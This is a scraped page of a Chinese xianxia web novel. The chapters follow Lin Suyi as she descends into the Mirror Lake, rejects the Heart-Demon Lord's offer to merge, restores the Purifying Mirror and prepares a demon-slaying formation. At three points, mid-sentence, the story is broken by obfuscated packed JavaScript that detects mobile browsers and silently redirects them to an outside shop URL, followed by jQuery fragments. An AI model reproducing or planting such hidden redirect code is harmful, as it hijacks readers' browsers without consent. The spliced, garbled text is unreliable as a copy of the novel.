;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16980548|193562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 父的话,心如刀割。 那场争论的结果是:清微真人暗中联系魔道,出卖了净尘宗山门的位置。那一夜,净尘宗被攻破,死伤惨重。虽然最后青玄门援军赶到,击退魔道,但仇恨的种子已经种下。 这也是为什么,净尘宗余脉对青玄门一直心存芥蒂。 幻境中,清微真人看向殿外的玄诚子: “玄诚,你觉得为师做错了吗?” 玄诚子浑身颤抖。 这是他的心魔:敬爱的师父,做出了背信弃义之事。而他,该不该揭发?该不该与师父决裂? 历史上,他选择了沉默。这沉默折磨了他五十年。 “师父,”幻境中的玄诚子缓缓抬头,眼中第一次有了决绝,“您错了。” “哦?”清微真人眯起眼睛。 “正道之所以为正道,是因为我们有所为,有所不为。”玄诚子一字一句,“今日我们能出卖净尘宗,明日就能出卖任何人。这样的道,修来何用?” 话音落下,幻境破碎。 玄诚子睁开眼睛,发现自己已经回到了现实。净尘镜前,他的额头满是冷汗,但眼神清明。 他通过了试炼。 紧接着,叶清风也清醒过来,眼中剑意凛然,显然在幻境中有所突破。 只剩下林素衣。 她依旧闭着眼睛,身体微微颤抖,显然还在与恐惧抗争。 “师妹!”叶清风想唤醒她,却被净尘镜的力量弹开。 “只能靠她自己。”玄诚子沉声道。 时间一分一秒过去。 林素衣的颤抖越来越剧烈,嘴角甚至渗出血丝。显然,她的试炼比另外两人困难得多。 就在叶清风几乎要强行出手时—— 林素衣突然睁开了眼睛。 她的瞳孔完全变成了镜面,映照出整个世界。而她的气息,也发生了翻天覆地的变化:原本纯净的净尘灵力中,多了一股古老、威严的气息。 “镜心九炼,第一炼……通过。”她轻声说,声音带着双重回音,仿佛两个人同时在说话。 净尘镜剧烈震动,镜面上的裂痕开始缓慢愈合。但只愈合了三成,就停下了。 “还不够。”林素衣摇头,“我的修为太弱,只能勉强激活三成威力。这样的净尘镜,挡不住魔尊。” “那怎么办?”叶清风急问。 林素衣沉默片刻,忽然看向叶清风腰间的同心佩。 那枚玉佩,此刻正散发着柔和的白光,与净尘镜的光芒交相辉映。 “明心长老留下的同心佩……”林素衣若有所思,“我能感觉到,里面有净尘宗的气息。” 她伸出手,玉佩自动飞到她掌心。 就在玉佩与她的手接触的刹那—— 玉佩炸裂! 不是毁灭性的炸裂,而是化作无数光点,在空中凝聚成一个女子的虚影。 那女子穿着净尘宗的道袍,面容与明心长老有几分相似,但更加年轻,眼神中带着洞悉一切的智慧。 “三千年了……”女子虚影轻声叹息,“终于有人带着‘同心引’来到了净尘镜前。” 她看向林素衣,眼中闪过讶异: “净尘血脉,源海珠宿主……你是清音师姐的女儿?” 林素衣点头:“前辈是……” “我是明心,但也不是。”女子虚影微笑,“我是她留在同心佩中的一道‘镜影分身’,承载着她关于净尘镜的全部记忆和感悟。” 她飘到净尘镜前,手掌轻抚镜面: “这面镜子,原本是完整的。三千年前那场大战,它为了镇压心魔之主的反扑,自损七成,留下了这些裂痕。要修复它,需要三样东西:净尘血脉、青玄剑气,以及……‘镜湖之心’。” “镜湖之心?”三人异口同声。 “湖底最深处,封印着心魔之主的那块‘本源镜石’。”明心镜影道,“取出它,与净尘镜融合,可让镜子恢复完整。但风险极大,一旦取出过程出错,心魔之主就会提前破封。” 她看向林素衣: “选择吧。是带着三成威力的净尘镜离开,赌它能对抗魔尊。还是冒险下湖,取出镜湖之心,让净尘镜恢复完全体——但同时,可能放出比魔尊更可怕的敌人。” 林素衣没有犹豫。 她看向干涸的湖床,那里隐约可见一个通往地底的洞口,洞口散发着令人心悸的黑暗气息。 “我下湖。” “师妹!”叶清风和玄诚子同时阻止。 但林素衣已经走向洞口。 就在她即将踏入洞口的刹那,整个镜湖遗址突然剧烈震动起来! 不是地震,而是某种……苏醒。 湖床裂开无数缝隙,从缝隙中涌出的不是水,而是粘稠的、仿佛有生命的黑暗。 一个低沉的笑声,从湖底最深处传来: “终于……终于有人要下来了。” “三万年了,我等你等得好苦啊……” “净尘的传人。” 那笑声中,带着无尽的恶意和……期待。 39. 镜湖之心与影之传承 镜湖之底。 林素衣踏入洞口的瞬间,黑暗如潮水般吞没了她。那黑暗不是纯粹的漆黑,而是无数种负面的混合——怨毒、贪婪、绝望、恐惧……它们凝聚成粘稠的液体,顺着她的皮肤爬上来,试图钻入七窍,侵入识海。 “净尘护体!”林素衣低喝,周身亮起蓝金色的光芒,将黑暗逼退三尺。 但她能感觉到,灵力在飞速消耗。这里的黑暗似乎能主动吞噬光明,每多停留一息,压力就增加一分。 洞口在身后闭合,留下完全封闭的空间。但奇怪的是,她并不觉得窒息——这黑暗本身,似乎就是一种可以呼吸的介质,只是每吸一口,心中的负面情绪就增加一分。 “下来吧……下来吧……”那个低沉的笑声从下方传来,“让我看看,净尘的传人,能坚持多久。” 林素衣握紧拳头,开始向下潜行。 通道是螺旋向下的,四壁光滑如镜,倒映出她的身影。但镜中的影像并非完全一致:有时她看见的是七岁的自己,有时是成年后的模样,有时甚至是一个完全陌生的女子——面容悲悯,眉心有一点朱砂,那是净尘仙子的印记。 “镜映人心,照见真我。”林素衣想起母亲留下的信息,“这些影像,都是我内心不同侧面的投射。” 她稳住心神,继续下潜。 越往下,压力越大。到后来,每走一步都要付出巨大的灵力。而黑暗中的低语也变得越来越清晰,不再是单纯的恶意,而是开始具体化: “你救不了他们……” “天池会破,所有人都会因你而死……” “交出源海珠,魔尊会饶你一命……” 这些声音直接在她识海中响起,试图瓦解她的意志。林素衣咬牙坚持,默念《净魔心经》,一遍又一遍。 不知过了多久,前方终于出现了光亮。 那是一个巨大的地底空洞,洞顶镶嵌着无数发光的晶石,照得整个空间如白昼。而在空洞中央,悬浮着一块三丈见方的透明晶石——镜湖之心。 晶石晶莹剔透,内部流转着七彩光华,散发出纯净到极致的净化之力。单是远远看着,林素衣就感到心中所有的负面情绪都被洗涤一空。 但诡异的是,这样一块至纯至净的晶石,却被无数道黑色锁链牢牢捆缚。锁链的另一端,连接着空洞四壁的黑暗。那些黑暗如活物般蠕动,不断侵蚀晶石,发出“滋滋”的腐蚀声。 而在晶石正上方,盘坐着一个身影。 那是一个穿着残破白袍的女子,长发垂地,看不清面容。她双手结印,周身散发着与镜湖之心同源的光芒,但光芒已经很微弱,仿佛风中残烛。 “净尘仙子……”林素衣喃喃道。 三万年前的净尘宗开宗祖师,竟以残魂之躯,在此镇压心魔之主三万年! “不,这不是她。”一个声音响起。 林素衣猛然回头,发现明心长老的镜影不知何时出现在她身后。 “镜影前辈?您怎么……” “同心佩承载的不仅是一道意识,还有我本体的部分力量。”镜影轻声道,“我能短暂脱离净尘镜,随你下来。但时间不多。” 她看向晶石上的白袍女子: “那是净尘祖师留下的‘镇魔化身’,用她的一滴精血和三成魂魄炼制而成。真正的净尘祖师,在完成封印后不久就坐化了。” 镜影眼中闪过敬佩: “三万年啊……以一缕残魂,独镇上古邪物。这等大毅力,后世无人能及。” 林素衣肃然起敬,朝着白袍女子的方向深深一拜。 “现在怎么办?”她问,“镜湖之心被黑暗锁链束缚,我们如何取走?” “斩断锁链。”镜影道,“但每斩断一根,心魔之主的力量就会释放一分。必须在所有锁链断裂的瞬间,将镜湖之心与净尘镜融合,用完整的净尘镜重新镇压它。” 她顿了顿:“这需要两个人配合。一人斩链,一人准备融合。而斩链之人……会被释放的心魔之力反噬,轻则走火入魔,重则被心魔附体。” 林素衣毫不犹豫:“我来斩链。” “不。”镜影摇头,“你身负源海珠,是融合镜湖之心的最佳人选。只有净尘血脉与源海珠共鸣,才能完美操控完整的净尘镜。” “那谁斩链?” “我来。”镜影微笑,“我本就是一道意识体,心魔对我影响有限。况且……当年我没能保护好宗门,一直心中有愧。今日,就让我为净尘宗做最后一件事。” “可是……” “别可是了。”镜影打断她,“时间紧迫。魔尊随时可能降临,我们必须尽快。” 她飘向那些黑色锁链,双手开始结印: “林素衣,听好。当我斩断所有锁链时,镜湖之心会有一瞬的失控。你要在这一瞬间,用源海珠之力包裹它,将它带出湖底,与净尘镜融合。” “融合的方法,是让两块本源之物共鸣。届时,净尘镜会指引你,你只需遵从本能。” 林素衣重重点头:“我明白了。” “那便开始吧。” 镜影双手一合,周身爆发出耀眼白光。光芒凝聚成无数光刃,斩向那些黑色锁链! 第一根锁链断裂的刹那—— “吼——!” 整个空洞剧烈震动,一声仿佛来自远古的咆哮从地底深处传来。那声音中蕴含着无尽的恶意,让林素衣浑身寒毛倒竖。 镜湖之心震动了一下,七彩光华略微黯淡。 “继续!”镜影喝道,斩向第二根、第三根…… 每斩断一根锁链,咆哮声就更响一分,黑暗就更浓一分。到后来,空洞四壁的黑暗已经凝成实质,化作无数黑色的触手,疯狂扑向镜影。 镜影的身影在触手围攻中飘忽不定,白光越来越弱,但她斩链的速度丝毫未减。 林素衣看得心急如焚,却只能等待。 终于,最后一根锁链—— “断!” 镜影用尽最后的力量,光刃斩下! 锁链断裂的瞬间,所有黑暗触手同时炸开,化作一场黑色的风暴,席卷整个空洞。镜影的身影在风暴中如同烛火,随时可能熄灭。 而镜湖之心,失去了所有束缚,开始剧烈震动,七彩光华疯狂闪烁,似乎随时会炸开。 “就是现在!”镜影嘶声喊道。 林素衣早已准备就绪,源海珠全力运转,蓝金色的灵力化作一只巨手,抓向镜湖之心。 就在灵力巨手触碰到晶石的刹那—— 异变突生。 镜湖之心中,突然浮现出一张面孔。 那是一张绝美的女子面容,眉心一点朱砂,眼中却满是邪异的红光。 “等的就是你,源海珠的宿主。”女子开口,声音与之前湖底的低笑声一模一样,“净尘那贱人用镜湖之心镇压我三万年,今日,我要借你之手,重获自由!” 心魔之主! 它竟然一直藏在镜湖之心里! 林素衣想收手,但已经来不及了。灵力巨手与晶石接触的瞬间,一股恐怖的吸力传来,将她的意识强行拖入晶石内部! “师妹!”镜影惊呼,想冲过来救援,却被心魔之力形成的屏障挡住。 晶石内部,是一个完全由镜子构成的空间。 林素衣站在空间中央,四面八方都是镜子,每一面镜子里都是不同的她:哭泣的她,愤怒的她,绝望的她,还有……被魔气侵蚀的她。 而在所有镜子的中心,悬浮着那个绝美女子的虚影——心魔之主的本体形态。 “欢迎来到我的领域。”心魔之主微笑,“在这里,时间没有意义。我们可以慢慢聊。” “你想怎样?”林素衣冷静下来,暗中运转源海珠,却发现灵力在这里被完全压制。 “很简单。”心魔之主飘到她面前,手指轻点她的眉心,“我想和你……做个交易。” “我不和魔物做交易。” “别急着拒绝。”心魔之主轻笑,“你可知,我为何被镇压在此?” “因为你以人心负面情绪为食,危害世间。” “那是净尘那贱人的说辞。”心魔之主眼中闪过恨意,“真相是,我本是天地间第一缕‘自我意识’,是所有生灵‘本我’的化身。喜、怒、哀、惧、爱、恶、欲——这些情绪本就是生命的一部分,没有对错。” “但净尘那贱人,追求所谓的‘太上忘情’,认为情绪是修行的障碍。她将我视为邪物,不惜以自身为代价将我封印。” 她顿了顿:“可结果呢?三万年过去了,世间少了负面情绪吗?杀戮、贪婪、仇恨……一样没少。因为这些东西,本就是人性的一部分。强行压制,只会让它们以更扭曲的方式爆发。” 林素衣沉默。 “而魔尊,就是最好的例子。”心魔之主继续道,“他被封印三千年,怨气积累到何等程度?一旦脱困,必将掀起滔天杀劫。你想阻止他,凭现在的力量根本不够。” “但如果你与我融合,情况就不同了。” “融合?”林素衣眼神一凝。 “不错。”心魔之主张开双臂,“我有操控情绪之力,你有净化魔气之能。两者结合,可创造出前所未有的力量——既能净化魔气,又能疏导情绪,从根本上化解魔劫。” “而且,与我融合后,你将拥有直视人心、影响情绪的能力。届时,不仅能对抗魔尊,还能找出潜伏在正道中的内奸,化解宗门间的仇恨,实现真正的天下太平。” 她的话充满诱惑。 林素衣承认,有那么一瞬间,她动摇了。 但就在这时,她想起了母亲留下的警告:“心魔之主最 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16980549|193562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 擅长的,就是编织美好的谎言。它会给你想要的一切,但代价是你的本心。” “你的提议很诱人。”林素衣缓缓道,“但我拒绝。” 心魔之主的笑容僵住了:“为什么?” “因为你说错了一件事。”林素衣直视她的眼睛,“情绪确实没有对错,但如何对待情绪,人有选择。愤怒可以化为守护的力量,悲伤可以化为共情的慈悲,恐惧可以化为谨慎的智慧。” “净尘祖师镇压你,不是否定情绪,而是防止你滥用情绪之力,操控人心。” “而你所谓的融合,本质是吞噬。你会保留我的记忆和性格,让我以为自己还是我,但实际上,真正的我已经死了。” 她一字一句:“我不会把世界,交给一个以人心为食的怪物。” 心魔之主的表情彻底冷了下来。 “那就别怪我了。” 四周的镜子同时炸裂,无数碎片如利刃般射向林素衣。每一块碎片里,都映照着她内心最深处的恐惧画面。 这一次,不再是幻境。 那些碎片刺入她的身体,将恐惧直接烙印在她的魂魄上! “啊——!”林素衣惨叫,意识几乎崩溃。 但就在最绝望的时刻,她怀中的某样东西,突然发热。 是那枚已经碎裂的同心佩残留的一块碎片。 碎片发出柔和的白光,白光中浮现出明心长老最后的身影。但与之前不同,这次的身影更加凝实,眼中有着洞悉一切的明悟。 “孩子,记住。”明心长老的声音直接在她识海响起,“心魔之主无形无质,它的力量来源于你内心的缝隙。你越是抵抗,缝隙就越大。” “唯一的破解之法,是……接受。” “接受恐惧,接受无力,接受自己的不完美。” “当你不再抗拒时,它便无处着力。” 林素衣怔住了。 接受? 她看向那些刺入身体的镜子碎片,每一块都映照着她最不愿面对的过去。 净尘宗被灭门时,她躲在柜子里瑟瑟发抖; 师父战死前,将她托付给素青师叔,她却连哭都哭不出来; 每一次面临选择时的犹豫,每一次看到死亡时的无力…… 这些,都是她。 “我接受。”林素衣轻声道。 话音落下的瞬间,所有镜子碎片同时软化,化作流水,融入她的身体。 恐惧没有消失,但不再具有伤害力。它们成为了她的一部分,成为了她的力量。 心魔之主惊恐地发现,自己与林素衣之间的连接,正在被逆转! “不!这不可能!你怎么能……” “因为我是人。”林素衣平静道,“人有光明,也有阴影。而真正的强大,不是消灭阴影,而是拥抱完整的自己。” 她伸出手,按在心魔之主虚影的额头。 “现在,该结束了。” 源海珠的力量在她掌心爆发,但不是净化,而是……包容。 蓝金色的光芒将心魔之主包裹,没有消灭它,而是将它封印回镜湖之心的最深处。这一次,封印的核心不再是抗拒,而是理解。 心魔之主的尖叫声逐渐减弱,最终消失。 晶石内部空间开始崩塌。 林素衣的意识回归本体,发现镜湖之心已经恢复平静,七彩光华比之前更加纯净、更加内敛。 而镜影,已经透明得几乎看不见。 “前辈!”她急道。 “我没事。”镜影虚弱地笑了笑,“只是力量耗尽了。林素衣,你做得很好。现在,带着镜湖之心上去吧。净尘镜在等你。” “可是您……” “我的使命完成了。”镜影的身影开始消散,“最后,告诉你一个秘密:当年明心之所以能潜入影盟,是因为她修炼了‘镜像分身术’。她的本体,其实一直留在净尘宗。” “而她的分身,在影盟中得知了一个惊天秘密——” 镜影的声音越来越轻: “魔尊与心魔之主……本是一体两面。当年净尘仙子镇压心魔之主时,魔尊趁机分离了出去,成为独立的个体。” “所以对付魔尊的方法,就在镜湖之心中。找到它,你就找到了……战胜魔尊的关键。” 话音落下,镜影彻底消散。 林素衣怔在原地。 魔尊与心魔之主,本是一体? 那如果她刚才真的与心魔之主融合…… 她不敢想下去。 收起镜湖之心,她转身向上飞去。 而在湖底最深处,那被重新封印的心魔之主,嘴角却勾起一抹诡异的笑容。 “种子已经种下……” “接下来,就等开花结果了……” 它的低语,消散在永恒的黑暗中。 40. 净世之光与暗影之谋 镜湖遗址,净尘镜前。 林素衣托着镜湖之心浮出湖面时,玄诚子和叶清风已经急得快要冲下去了。见到她平安归来,两人同时松了口气。 “师妹,你怎么样?”叶清风快步上前,注意到她苍白的脸色和微微颤抖的手。 “没事,只是消耗过度。”林素衣摇头,将镜湖之心放在净尘镜前,“现在该融合了。” 镜湖之心悬浮而起,与净尘镜产生共鸣。两块本源之物同时散发出七彩光华,光芒交织,在镜面上形成一个漩涡。漩涡深处,隐约可见无数符文流转,那是净尘仙子留下的古老禁制。 “要怎么做?”玄诚子问。 “需要净尘血脉为引,青玄剑气为桥。”林素衣咬破指尖,将三滴精血滴在镜面上,“叶师兄,用青玄分光剑斩向镜面——但不是破坏,而是‘激活’。” 叶清风点头,拔剑出鞘。他没有直接斩下,而是将剑举过头顶,闭目凝神。青玄分光剑感应到他的意志,剑身微微震颤,发出清越的剑鸣。 “斩!” 剑光落下,没有劈开镜面,而是如水般渗入其中。剑光与林素衣的精血融合,化作一道青金色的桥梁,连接起净尘镜与镜湖之心。 两块本源之物开始缓慢靠拢。 每靠近一寸,周围的空间就震动一次。到后来,整个镜湖遗址都在剧烈摇晃,干涸的湖床裂开无数缝隙,从缝隙中喷涌出纯净的灵气——那是被封印三万年的湖底灵脉,此刻终于重见天日。 “快了……”玄诚子护持在二人身旁,警惕着可能出现的意外。 然而意外还是来了。 就在两块本源之物即将触碰的刹那,镜湖之心中突然浮现出一缕黑气——那是心魔之主留下的最后手段! 黑气如毒蛇般窜出,直扑林素衣眉心! “小心!”叶清风想挡,但已经来不及。 黑气没入林素衣眉心,她浑身一僵,眼中闪过诡异的红光。镜湖之心的融合进程骤然停止,七彩光华开始紊乱。 “师妹!”叶清风急道。 林素衣站在原地,一动不动。她的意识被拖入了一个诡异的空间——那里既不是现实,也不是幻境,而是一个不断循环的时间片段: 净尘宗被灭门的那个夜晚,一遍又一遍重演。 每一次,她都躲在同一个柜子里,看着师父和师姐们战死。每一次,她都无能为力。每一次循环,心中的无力感就加深一分。 “这是心魔的诅咒。”一个声音在她识海中响起,是心魔之主的残留意识,“你会永远困在这里,重复你最痛苦的记忆。而外界,你的身体将逐渐魔化,最终成为我的新容器。” 林素衣想要挣脱,却发现自己的意识越来越模糊。 就在她即将沉沦时,怀中的某样东西突然发烫。 不是源海珠,而是……母亲留下的那枚玉佩。 玉佩炸裂,化作无数光点,光点凝聚成林清音的虚影。但与之前的留影不同,这次的虚影更加真实,眼中有着母亲特有的温柔与坚毅。 “素衣,醒来。”林清音轻声道,“心魔之主在骗你。它根本没法永远困住你——因为你的记忆里,有它无法理解的东西。” “什么东西?” “爱。”林清音微笑,“心魔之主以负面情绪为食,但它理解不了纯粹的、无私的爱。那是它力量的盲区。” 她指向循环中的某个画面:在净尘宗大殿即将倒塌时,一个年轻的女弟子——正是年轻时的林清音——用身体护住了柜子里的林素衣,用自己的背承受了落下的横梁。 “那一夜,我不是因为恐惧或无力而保护你。”林清音轻声道,“是因为爱。因为我爱你,胜过爱自己的生命。” “心魔之主可以复制痛苦、绝望、愤怒,但它复制不了这种爱。所以这个幻境,有一个致命的破绽——” 她指向循环的某个瞬间:每次重演到林清音护住柜子时,画面都会出现细微的卡顿。 “就是现在!”林清音喝道,“集中你所有的爱——对师父的爱,对师门的爱,对这片天地的爱——冲破它!” 林素衣闭上眼睛。 她想起了素青师叔熬夜为她缝制道袍的手,想起了玄诚师伯耐心讲解剑诀的声音,想起了叶师兄在暴雨中为她撑伞的背影,想起了天池边那些明知不敌仍选择坚守的同道…… 这些记忆,如暖流般涌过心间。 当她再睁眼时,眼中已无迷茫。 “破!” 一个字,蕴含着她对这个世界所有的眷恋与守护之意。 幻境如镜子般破碎。 现实世界,林素衣睁开眼睛。眉心那缕黑气惨叫着被逼出,在净尘之光的照射下灰飞烟灭。 而她手中,镜湖之心与净尘镜已经完成融合! 完整的净尘镜悬浮在半空,镜面光滑如新,不再有一丝裂痕。镜身流转着七彩光华,光华所过之处,连空气都变得纯净通透。 更神奇的是,镜子背面浮现出两行古老的文字: “净世之光,照破迷惘。” “心镜映我,我即苍生。” “成功了!”玄诚子激动道。 但林素衣没有放松警惕。她感应到,完整的净尘镜中,还隐藏着更深层的秘密——那是净尘仙子留下的最后传承。 她伸手触碰镜面。 刹那间,海量的信息涌入脑海:净尘宗的完整传承,从开宗到鼎盛再到衰落的全部历史,以及……一个被刻意掩盖的真相。 原来,三万年前净尘仙子镇压心魔之主后,曾预言后世会有“双魔劫”——心魔之主与魔尊同时作乱。而破解之法,就在于让两件本源之物合一:源海珠与镜湖之心。 源海珠代表“净化”,镜湖之心代表“包容”。两者结合,可创造出前所未有的力量——“净世之光”。 但净世之光需要载体,而这个载体…… 必须同时拥有净尘血脉和青玄剑气。 林素衣看向叶清风。 “怎么了?”叶清风察觉到她的目光。 “没什么。”林素衣摇头,压下心中的不安,“净尘镜已经完整,我们现在可以回天池了。魔尊三日后降临,我们必须早做准备。” “怎么回去?”玄诚子问,“青玄分光剑的空间传送只能用一次。” 林素衣看向净尘镜:“用它。” 她双手结印,镜面浮现出天池的景象。随后,她将一道灵力注入镜中—— 镜面如水波荡漾,形成一个传送门。 “走!” 三人先后踏入。 天池边,距离魔尊降临只剩两天半。 留守的众人正在加固阵法,气氛凝重。花无暇独自坐在池边,看着那枚枯萎的藤蔓种子,眼神复杂。 当传送门在天池上空打开时,所有人都吓了一跳。 “敌袭?!”炎阳真人立刻戒备。 但看到林素衣三人从中走出,众人才松了口气。 “素衣!”素青真人快步上前,“你们回来了!禁地之行如何?” “拿到了青玄分光剑。”叶清风展示手中的剑,“还有……完整的净尘镜。” 他指向林素衣手中的古镜。镜身散发的纯净气息,让所有人都感到心神宁静。 花无暇怔怔看着那面镜子,忽然起身,走到林素衣面前,深深一揖:“林宗主,此前之事……花无暇无颜面对。” 林素衣扶起她:“花谷主也是被逼无奈。如今净尘镜已完整,或许能帮到百花谷。” 她将镜子对准那枚藤蔓种子,一道七彩光华照下。种子表面的枯萎迅速褪去,重新变得饱满翠绿——但其中的妖力已经被净化干净。 “这是……”花无暇颤抖着接过种子。 “净世之光可以净化邪祟,但不伤及本源。”林素衣道,“这枚种子现在只是一枚普通的灵植种子了。至于百花谷地下的妖藤,等魔劫过去,我可亲往净化。” 花无暇眼眶红了,再次深揖:“大恩不言谢。从今往后,百花谷与净尘宗永结同盟,生死与共。” 这时,云华真人忽然道:“林师侄,你刚才说魔尊三日后降临?可我们收到的消息是……” “是什么?”林素衣心中一紧。 萧长风脸色难看地递过一枚传讯玉简:“半个时辰前,天机阁传讯,说魔尊的降临时间……提前了。” 林素衣接过玉简,神识一扫,脸色骤变。 玉简中说,万魔山方向魔气冲天,三十六处魔眼同时活跃。根据天机阁推演,魔尊的真正降临时间不是三天后,而是—— 明日正午! “明日?!”玄诚子失声,“怎么会这么快?” “恐怕是因为万魔血引被净化。”素青真人沉声道,“魔尊感应到血引消失,知道我们已经有所准备,所以提前行动。” “只有一天时间了……”叶清风握紧剑柄。 林素衣看向手中的净尘镜,镜面映照出她凝重的面容。 “一天,够了。” 她转向众人:“现在开始,所有人听我安排。我们需要布下一个局——一个让魔尊有来无回的局。” “你有计划?”炎阳真人问。 “有。”林素衣眼中闪过决绝,“净尘镜的完整,让我看到了一个可能:如果以净尘镜为核心,以青玄分光剑为引,再以天池三十六泉眼大阵为基,可以布下‘净世诛魔大阵’。” 她顿了顿:“但这个阵法需要一个阵眼。阵眼必须能同时承载净尘之力与青玄剑气,还要与源海珠共鸣。” 所有人的目光都落在了她身上。 “你是说……”素青真人声音发颤。 “我来做阵眼。”林素衣平静道,“这是唯一的办法。” “不行!”叶清风和玄诚子同时反对。 “没时间争论了。”林素衣摇头,“魔尊一旦降临,至少有化神期的实力。而我们这里最强的炎阳前辈只是元婴中期,就算加上净尘镜和青玄分光剑,正面硬抗也毫无胜算。” “只有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16980550|193562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 净世诛魔大阵,才有可能越阶诛魔。” 她看向素青真人:“师叔,您是阵法大家,应该明白我说的是事实。” 素青真人沉默良久,艰难点头:“理论上……可行。但阵眼承受的压力极大,很可能……” “魂飞魄散。”林素衣接道,“我知道。但总要有人去做。” 她看向天池水面,水面上映照出夜空中的星辰: “清虚祖师当年可以牺牲自己封印魔尊,净尘祖师可以独镇心魔三万年,我林素衣……也能为这世间,尽一份力。” 众人沉默。 花无暇忽然开口:“如果阵眼需要净尘之力与青玄剑气共鸣,那我愿意分担部分压力。百花谷的‘百花续命术’,可以在关键时刻为阵眼提供生命力支撑。” 萧长风也道:“剑修一往无前,我愿以剑心为引,增强青玄剑气的威力。” 炎阳真人、云华真人、素青真人……所有人都站了出来。 林素衣眼眶微热。 “好。”她重重点头,“那我们就……布下这天罗地网,等魔尊来闯。” 接下来的十二个时辰,天池边开始了紧锣密鼓的准备。 素青真人指挥众人重新调整三十六泉眼大阵的阵基;花无暇以百花秘法在天池周围种下九百九十九朵“净魔花”;炎阳真人将纯阳真火注入阵眼节点;萧长风带领剑修弟子演练剑阵。 而林素衣、玄诚子和叶清风三人,则在净尘镜前进行最后的准备。 “师妹,你真的想好了?”叶清风又一次问道。 林素衣没有回答,而是看向玄诚子:“师伯,我有一事相托。” “你说。” “如果……如果明日我失败,请您务必保护好源海珠。清虚祖师的传承不能断,净尘宗的道统必须延续。” 玄诚子深吸一口气:“我答应你。” 林素衣又看向叶清风,欲言又止。 “师妹,你想说什么就说。”叶清风道。 “叶师兄,你腰间那枚同心佩……”林素衣轻声道,“我能感觉到,它与你产生了某种共鸣。明日的战斗,它可能会是关键。” 叶清风取下玉佩,此刻玉佩正散发着温润的白光,仿佛在回应什么。 “我会注意的。” 子夜时分,准备工作基本完成。 林素衣独自站在天池边,仰望星空。明日此时,不知还能否看到这样的夜空。 身后传来脚步声,是花无暇。 “林宗主,还没休息?” “花谷主不也没休息。” 二人并肩而立,看着平静的池面。 “你怕吗?”花无暇忽然问。 “怕。”林素衣诚实道,“但怕也要去做。” “为什么?” “因为……”林素衣看向远方,“这世间还有太多美好的东西,值得守护。” 花无暇沉默片刻,从怀中取出一枚玉简:“这个给你。里面是百花谷的‘百花续命术’完整版,还有我的一些修炼心得。若明日你能活下来……就当是我的一点补偿。” 林素衣接过,郑重道谢。 花无暇离开后,又一个人走来。 这次是叶清风。 他没有说话,只是默默站在林素衣身边,陪她一起看星空。 良久,他忽然道:“师妹,你还记得我们第一次见面吗?” 林素衣点头:“在青玄门山门,你帮我赶走了一只追着我的恶犬。” “那时你才七岁,吓得躲在我身后。”叶清风微笑,“转眼间,你已经是可以独当一面的宗主了。” “因为我有必须守护的东西。”林素衣轻声道,“就像叶师兄你守护叶家一样。” 叶清风眼中闪过复杂的神色,但最终只是说:“明日,我会在你身边。” “嗯。” 东方渐渐泛起鱼肚白。 黎明将至。 而就在第一缕阳光照在天池水面时—— 天池上空,黑云凭空出现。 不是慢慢汇聚,而是一瞬间就遮蔽了整个天空。黑云中,三十六只魔眼同时睁开,死死盯着下方。 一个恢弘而冰冷的声音,响彻天地: “时间到了。” “净尘传人,交出源海珠,否则……本尊今日便血洗青玄山脉。” 魔尊的意识,提前降临了! 林素衣握紧净尘镜,眼中无惧。 “布阵!” 净世诛魔大阵,启动! 但就在阵法光芒亮起的瞬间,林素衣忽然感应到——天池底下,有什么东西苏醒了。 不是魔尊的力量,而是……更加古老、更加深邃的存在。 那个存在,正透过三十六泉眼大阵,与源海珠产生共鸣。 一个念头在她心中浮现: 清虚祖师当年封印魔尊时,真的只留下了源海珠这一张底牌吗? 还是说…… 这整个天池,本身就是一座更大的封印? 41. 天池封印与净世诛魔 黑云压城城欲摧。 三十六只魔眼悬挂在天池上空,每一只都如深渊般深邃,散发出令人窒息的威压。魔眼缓缓转动,将下方的净世诛魔大阵尽收眼底,仿佛在看一个有趣的玩具。 “这就是你们的依仗?”魔尊的声音从每一只魔眼中传出,叠合成诡异的回音,“一个残破的阵法,一面破镜子,一把仿制品剑……净尘传人,你让本尊失望了。” 林素衣站在大阵阵眼位置,双手托举净尘镜。镜面映照着天空中的魔眼,七彩光华在镜中流转,与阵法的光芒交相辉映。 她没有回应魔尊的嘲讽,而是对身后众人低喝:“稳住阵基!魔尊在试探我们的虚实!” 话音未落,一只魔眼突然射出一道黑光! 黑光如利剑般刺下,直指大阵最脆弱的节点——那是花无暇此前标记的位置,虽然已经修复,但终究是新补的阵基,与原有阵法存在细微的不协调。 “百花护阵!”花无暇双手结印,九百九十九朵净魔花同时绽放,粉色的花瓣汇聚成一面花墙,挡在黑光路径上。 轰! 